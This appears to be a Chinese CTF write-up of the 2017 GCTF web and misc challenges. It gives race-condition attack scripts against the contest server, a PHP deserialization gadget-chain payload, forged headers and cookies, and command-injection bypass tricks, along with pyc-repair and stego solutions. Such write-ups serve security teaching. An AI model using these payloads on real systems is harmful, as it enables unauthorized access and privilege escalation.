2017 GCTF writeup

web

热身题

直接扫描
http://218.2.197.232:18001/rob0t.php
就有flag

spring-css

2017 GCTF writeup_第1张图片

发现是一个cve漏洞,任意读取目录,直接查姿势
https://github.com/ilmila/springcss-cve-2014-3625/blob/master/stealfile.sh
2017 GCTF writeup_第2张图片

发现flag
2017 GCTF writeup_第3张图片

变态验证码怎么破

2017 GCTF writeup_第4张图片

本来是要识别验证码,结果测试发现清除cookie就可以绕过验证码,这个验证码是存在session中,没有验证对比,好说,最后直接目录爆破即可
2017 GCTF writeup_第5张图片

RCE绕过

这个就是输入命令,然后内容会插入在curlflag.php之中,这题其实就是查看flag.php里的内容
可以tab绕过,或是<绕过
2017 GCTF writeup_第6张图片

2017 GCTF writeup_第7张图片

条件竞争


header("Content-type: text/html; charset=utf-8");
session_start();

$mysqli = new mysqli("localhost", "root", "", "gctf09");
if ($mysqli->connect_errno) {
    die("数据库连接错误,多次出现请联系管理员。");
}

//打印源码
if(isset($_REQUEST['showcode'])){
    highlight_file(___FILE___);
    exit();

}
$user="";
// 初次访问生成用户
if(!isset($_SESSION["name"])){
    $user=substr(md5(uniqid().uniqid()),8,16);
    $_SESSION["name"]=$user;
    $stmt = $mysqli->prepare("INSERT INTO gctf09.`user` (name,pass) VALUES (?,?)");
    $stmt->bind_param("ss",$user,md5($user));
    $stmt->execute();
    $stmt->close();
    $stmt = $mysqli->prepare("INSERT INTO gctf09.`priv` (name,notadmin) VALUES (?,TRUE)");
    $stmt->bind_param("s",$user);
    $stmt->execute();
    $stmt->close();
}else{
    $user=$_SESSION["name"];
}
//重置时清理用户信息
if($_SERVER["REQUEST_METHOD"] === "POST" && $_GET['method']==="reset" && isset($_POST['password']) ){
    $stmt = $mysqli->prepare("DELETE FROM gctf09.`user` where name=?");
    $stmt->bind_param("s",$user);
    $stmt->execute();
    $stmt = $mysqli->prepare("DELETE FROM gctf09.`priv` where name=?");
    $stmt->bind_param("s",$user);
    $stmt->execute();
    $stmt = $mysqli->prepare("INSERT INTO gctf09.`user` (name,pass) VALUES (?,?)");
    $stmt->bind_param("ss",$user,md5($_POST['password']));
    $stmt->execute();
    $stmt->close();
    //判断用户权限时会查询priv表,如果为不为TRUE则是管理员权限
    $stmt = $mysqli->prepare("INSERT INTO gctf09.`priv` (name,notadmin) VALUES (?,TRUE)");
    $stmt->bind_param("s",$user);
    $stmt->execute();
    $stmt->close();
    $mysqli->close();
    die("修改成功");
}
$mysqli->close();
?>

先分析代码的意思,首先重置的话首先先删除原先的用户以及权限,然后重新先以管理员权限插入,最后修改权限为普通权限
直接写两个脚本,使用同一个cookie,一个不断的重置用户名密码,另一个用相同的用户名密码不断地提交

reset

import requests   

url = 'http://218.2.197.232:18009/index.php?method=reset'   
cookie={
    'PHPSESSID':'7pbngtg5ml72qsn4cpopubbvj5'
}
data={'name':'3f8010f1893ac9a5',
    'password':'test'}  
while 1:
    s=requests.post(url=url,data=data,cookies=cookie)

    print s.text

login

import requests   
import base64  

url = 'http://218.2.197.232:18009/login.php?method=login'   
cookie={
    'PHPSESSID':'7pbngtg5ml72qsn4cpopubbvj5'
}
data={'name':'3f8010f1893ac9a5',
    'password':'test'}  
while 1:
    s=requests.post(url=url,data=data,cookies=cookie) 
    print s.text
    if 'GCTF' in s.text:
        break

2017 GCTF writeup_第8张图片

Forbidden

打开是一个Forbidden页面
2017 GCTF writeup_第9张图片

查看源码
2017 GCTF writeup_第10张图片

好吧需要用本机
X-Forwarded-For:localhost
2017 GCTF writeup_第11张图片

好吧,需要通过域名
Host: www.topsec.com
2017 GCTF writeup_第12张图片

好吧,加一个跳转
Referer:www.baidu.com
2017 GCTF writeup_第13张图片

。。。
2017 GCTF writeup_第14张图片

。。。
2017 GCTF writeup_第15张图片

。。。
2017 GCTF writeup_第16张图片

。。。
2017 GCTF writeup_第17张图片

跟着思路看看login是什么

4e6a59324d545a6a4e7a4d324e513d3d
16进制转字符
NjY2MTZjNzM2NQ==
base64decode
66616c7365
16进制转字符
false

构造一下

true
字符转16进制
74727565
base64encode
NzQ3Mjc1NjU=
字符转16进制
4e7a51334d6a63314e6a553d

Cookie: login=4e7a51334d6a63314e6a553d
2017 GCTF writeup_第18张图片

越权注入

首先查看源码得到提示
2017 GCTF writeup_第19张图片

根据提示修改发现不允许
2017 GCTF writeup_第20张图片

也就是说不能直接修改role参数,必须在uid的时候顺便更改role参数
'and等字符什么的发现被过滤
2017 GCTF writeup_第21张图片

2017 GCTF writeup_第22张图片

直接用,
2017 GCTF writeup_第23张图片

转化成16进制
2017 GCTF writeup_第24张图片

成功
2017 GCTF writeup_第25张图片

读文件

查看源码可以访问一个文件
2017 GCTF writeup_第26张图片

访问flag.php发现waf
由于这个题将./过滤了,所以可以通过这分拆
2017 GCTF writeup_第27张图片

Java序列化

抓包发现
2017 GCTF writeup_第28张图片

base64解码一下发现是java的序列化
2017 GCTF writeup_第29张图片
学习一下java的序列化,增加一个id,发现有改变
2017 GCTF writeup_第30张图片

改成
2017 GCTF writeup_第31张图片
输入成功
这里写图片描述

php反序列化

直接扫描
2017 GCTF writeup_第32张图片

访问得到query.php的代码

/************************/
/*
//query.php 閮ㄥ垎浠g爜
session_start();
header('Look me: edit by vim ~0~')
//......
class TOPA{
    public $token;
    public $ticket;
    public $username;
    public $password;
    function login(){
        //if($this->username == $USERNAME && $this->password == $PASSWORD){ //鎶辨瓑
        $this->username =='aaaaaaaaaaaaaaaaa' && $this->password == 'bbbbbbbbbbbbbbbbbb'){
            return 'key is:{'.$this->token.'}';
        }
    }
}
class TOPB{
    public $obj;
    public $attr;
    function __construct(){
        $this->attr = null;
        $this->obj = null;
    }
    function __toString(){
        $this->obj = unserialize($this->attr);
        $this->obj->token = $FLAG;
        if($this->obj->token === $this->obj->ticket){
           return (string)$this->obj;
        }
    }
}
class TOPC{
    public $obj;
    public $attr;
    function __wakeup(){
        $this->attr = null;
        $this->obj = null;
    }
    function __destruct(){
        echo $this->attr;
    }
}
*/

index.php


//error_reporting(E_ERROR & ~E_NOTICE);
ini_set('session.serialize_handler', 'php_serialize');
header("content-type;text/html;charset=utf-8");
session_start();
if(isset($_GET['src'])){
    $_SESSION['src'] = $_GET['src'];
    highlight_file(__FILE__);
    print_r($_SESSION['src']);
}
?>


 
    "Content-Type" content="text/html; charset=utf-8" />
  代码审计<span class="hljs-number">2</span>
 
 
 在php中,经常会使用序列化操作来存取数据,但是在序列化的过程中如果处理不当会带来一些安全隐患。
"./query.php" method="POST"> "text" name="ticket" /> "submit" />
"./?src=1">查看源码

先分析一下,这个明显是要先使TOPA的$this->username =='aaaaaaaaaaaaaaaaa' && $this->password == 'bbbbbbbbbbbbbbbbbb'直接赋值位0绕过弱类型比较
由于TOPB需要使得有tokenticket,并且相等,结合一句反序列化,可知,TOPB$this->attr必须为TOPA的序列化。而TOPC到时候只要绕过__wakeup()即可,利用对象属性个数的值大于其真实值就可以绕过
payload

$a = new TOPA();
$a->username=0;
$a->password=0;
$a->ticket = &$a->token;
$b = new TOPB();
$b->attr = serialize($a);
$obj = new TOPC();
$obj->attr = $b;
echo '
'
.serialize($obj).'
'
;

结果

O:4:"TOPC":2:{s:3:"obj";N;s:4:"attr";O:4:"TOPB":2:{s:3:"obj";N;s:4:"attr";s:84:"O:4:"TOPA":4:{s:5:"token";N;s:6:"ticket";R:2;s:8:"username";i:0;s:8:"password";i:0;}";}}

修改一下TOPC的属性参数,大于2即可,然后前面加|

|O:4:"TOPC":3:{s:3:"obj";N;s:4:"attr";O:4:"TOPB":2:{s:3:"obj";N;s:4:"attr";s:84:"O:4:"TOPA":4:{s:5:"token";N;s:6:"ticket";R:2;s:8:"username";i:0;s:8:"password";i:0;}";}}

利用src传值,存入session,然后访问query.php出现flag
这里写图片描述

Misc

stage1

直接用StegSolve分析
2017 GCTF writeup_第33张图片

保存下来反色扫描

Ni9htMar3  13:34:57
03F30D0AB6266A576300000000000000000100000040000000730D0000006400008400005A00006401005328020000006300000000030000000800000043000000734E0000006401006402006403006404006405006406006405006407006708007D00006408007D0100781E007C0000445D16007D02007C01007400007C0200830100377D0100712B00577C010047486400005328090000004E6941000000696C000000697000000069680000006961000000694C0000006962000000740000000028010000007403000000636872280300000074030000007374727404000000666C6167740100000069280000000028000000007307000000746573742E7079520300000001000000730A00000000011E0106010D0114014E280100000052030000002800000000280000000028000000007307000000746573742E707974080000003C6D6F64756C653E010000007300000000

一看就是一个16进制,比对了一下,发现使pyc的文件头,保存后直接利用工具反编译即可

def flag():
    str = [65, 108, 112, 104, 97, 76, 97, 98]
    flag = ''
    for i in str:
        flag += chr(i)

    print flag

2017 GCTF writeup_第34张图片

test.pyc

这是一道.pyc的反编译题,利用uncompyle2反编译发现失败
2017 GCTF writeup_第35张图片

发现又nop指令,查看一下是09
2017 GCTF writeup_第36张图片

通过查看他的16进制,发现其实这部分是字符串的拼接,可以写一个test.py尝试一下
这里写图片描述

编译
2017 GCTF writeup_第37张图片

发现拼接的形式大概是64 00 17中间是序号
那样的话直接修改这一行
这里写图片描述

这样的话可以完成,扔进https://tool.lu/pyc/试试
2017 GCTF writeup_第38张图片

发现flag3函数出错
2017 GCTF writeup_第39张图片

是因为多了4字节的00导致程序终止,直接删掉然后修改长度即可
这里写图片描述

在此扔进https://tool.lu/pyc/试试,出现代码

#!/usr/bin/env python
# encoding: utf-8
# 访问 http://tool.lu/pyc/ 查看更多信息
str = '=cWbihGfyMzNllzZ' + '0cjZzMW' + 'N5cTM4Y' + 'jYygTOy' + 'cmNycWNyYmM1Ujf'
import base64

def flag1():
    code = str[::-3]
    result = ''
    for i in code:
        ss = ord(i) - 1
        result += chr(ss)

    print result[::-1]


def flag2():
    code = str[::-2]
    result = ''
    for i in code:
        ss = ord(i) - 1
        result += chr(ss)

    print result[::-2]


def flag3():
    code = str[::-1]
    code = base64.b64decode(code)
    result = ''
    for i in code:
        ss = ord(i) - 1
        result += chr(ss)

    print result[::-1]

flag1()

运行flag3()即得flag:flag{126d8f36e2b486075a1781f51f41e144}

reverseMe

本来以为逆向,结果发现不是,只能默默查看16进制,结果发现头和尾好熟悉
2017 GCTF writeup_第40张图片

这里写图片描述

明显是图片的倒置,直接写一个脚本顺着来

f = open('C:\\Users\\lanlan\\Desktop\\tttt.jpg','wb')
g = open('C:\\Users\\lanlan\\Desktop\\1.re','rb')
f.write(''.join(g.read()[::-1]))
g.close()
f.close()

2017 GCTF writeup_第41张图片

反过来
2017 GCTF writeup_第42张图片

你可能感兴趣的:(WriteUp,web)